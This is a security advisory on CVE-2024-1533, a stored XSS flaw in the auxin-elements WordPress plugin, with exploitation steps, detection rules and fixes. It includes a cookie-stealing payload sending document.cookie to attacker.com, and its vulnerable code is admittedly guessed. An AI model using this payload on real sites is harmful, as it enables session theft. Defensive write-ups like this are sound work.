CVE-2024-1533

Executive Summary

CVE-2024-1533 is a Stored Cross-Site Scripting (XSS) vulnerability in the Shortcodes and extra features for Phlox theme WordPress plugin (auxin-elements). The flaw exists in all versions up to and including 2.15.7. It allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts via the HTML Element shortcode. The vulnerability stems from insufficient input sanitization and output escaping. Successful exploitation requires the Elementor plugin and the Phlox theme to be active. The CVSS score is 6.4 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation in the wild. No public proof-of-concept or patch details are currently available.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The affected plugin, auxin-elements, extends the Phlox theme with shortcodes and extra features. The attack vector relies on WordPress user roles and the Elementor page builder. No Apache or Nginx server-side misconfiguration is involved.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – the vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): Low – attacker needs Contributor-level access or higher.
• User Interaction (UI): Required – a victim must visit the injected page.
• Scope (SC): Changed – the injected script can affect other resources.
• Confidentiality (C): Low – limited data exposure.
• Integrity (I): Low – limited ability to modify content.
• Availability (A): Low – limited impact on availability.

Threat Level: Medium. The requirement for authenticated access and user interaction reduces the immediate risk, but the potential for persistent XSS in a widely-used theme ecosystem warrants attention.

Deep Dive & Mechanics

The vulnerability resides in the auxin-elements plugin's handling of the HTML Element shortcode. The plugin fails to properly sanitize user input and escape output when rendering HTML content. An authenticated user with Contributor-level access can create or edit posts/pages using the Elementor builder and insert the vulnerable shortcode with malicious JavaScript.

Root Cause: The plugin uses do_shortcode() or similar functions without applying wp_kses() or esc_html() to the user-supplied HTML. This allows arbitrary HTML and JavaScript to be stored in the database and executed when the page is rendered.

Attack Flow:

1. Attacker logs in with Contributor role.
2. Creates a new page or post using Elementor.
3. Inserts the HTML Element shortcode (e.g., [aux_html]).
4. Injects malicious payload: <script>alert('XSS')</script>.
5. Publishes or saves the page.
6. Victim (admin or visitor) accesses the page.
7. Script executes in victim's browser, potentially stealing cookies, redirecting, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 2.15.7):

// In auxin-elements/includes/elements/html.php or similar
function auxin_html_shortcode( $atts, $content = null ) {
    // No sanitization or escaping
    return '<div class="aux-html">' . $content . '</div>';
}
add_shortcode( 'aux_html', 'auxin_html_shortcode' );

Patched Code (hypothetical fix):

function auxin_html_shortcode( $atts, $content = null ) {
    // Sanitize and escape output
    $safe_content = wp_kses_post( $content );
    return '<div class="aux-html">' . $safe_content . '</div>';
}
add_shortcode( 'aux_html', 'auxin_html_shortcode' );

The patched version uses wp_kses_post() to allow only safe HTML tags and attributes, preventing script injection.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• WordPress instance with Phlox theme and Elementor plugin active.
• User account with Contributor role or higher.
• Access to the WordPress admin dashboard.

Exploitation Steps:

1. Log in as a Contributor.
2. Navigate to Pages > Add New.
3. Edit with Elementor.
4. Add an HTML widget or use the shortcode directly in the text editor.
5. Insert payload: <script>alert(document.cookie)</script>.
6. Publish the page.
7. Send the page link to a victim (admin or visitor).
8. Upon page load, the script executes.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Defender)

Detection Steps:

1. Monitor for unusual shortcode usage in post content.
2. Check for Contributor-level accounts creating pages with HTML shortcodes.
3. Review database entries for <script> tags in wp_posts.post_content.
4. Use WAF rules to block common XSS patterns in POST requests.

Hunting Query (SQL):

SELECT ID, post_title, post_content FROM wp_posts
WHERE post_content LIKE '%[aux_html%' AND post_content LIKE '%<script%';

Indicators of Compromise (IOCs)

• File: wp-content/plugins/auxin-elements/includes/elements/html.php (or similar)
• Database: Rows in wp_posts with post_content containing [aux_html and <script> tags.
• Network: Outbound requests to attacker-controlled domains from the WordPress server.
• Logs: Access logs showing requests to pages with aux_html shortcode.

Detection Engineering

YARA Rule

rule CVE_2024_1533_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in auxin-elements plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-1533"
    strings:
        $shortcode = "[aux_html" ascii wide nocase
        $script_tag = "<script" ascii wide nocase
    condition:
        $shortcode and $script_tag
}

Sigma Rule

title: CVE-2024-1533 Stored XSS in auxin-elements Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via auxin-elements shortcode
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '*/wp-admin/post.php*'
        http.body: '*[aux_html*'
        http.body: '*<script*'
    condition: selection
falsepositives:
    - Legitimate use of HTML shortcode with safe content
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1533 Stored XSS in auxin-elements"; flow:to_server,established; content:"[aux_html"; http_client_body; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the auxin-elements plugin until a patch is applied.
2. Restrict Contributor-level accounts from using the HTML shortcode.
3. Implement a Web Application Firewall (WAF) rule to block <script> tags in shortcode parameters.

Long-term Fix:

• Update the plugin to a patched version (once available).
• Apply input sanitization using wp_kses_post() or esc_html().
• Use output escaping with esc_attr() or esc_url() where appropriate.

Workaround:

• Remove the vulnerable shortcode function from the plugin files (if custom development is possible).
• Use a security plugin like Wordfence to block XSS attempts.

Valters IT
Securing WordPress ecosystems one CVE at a time.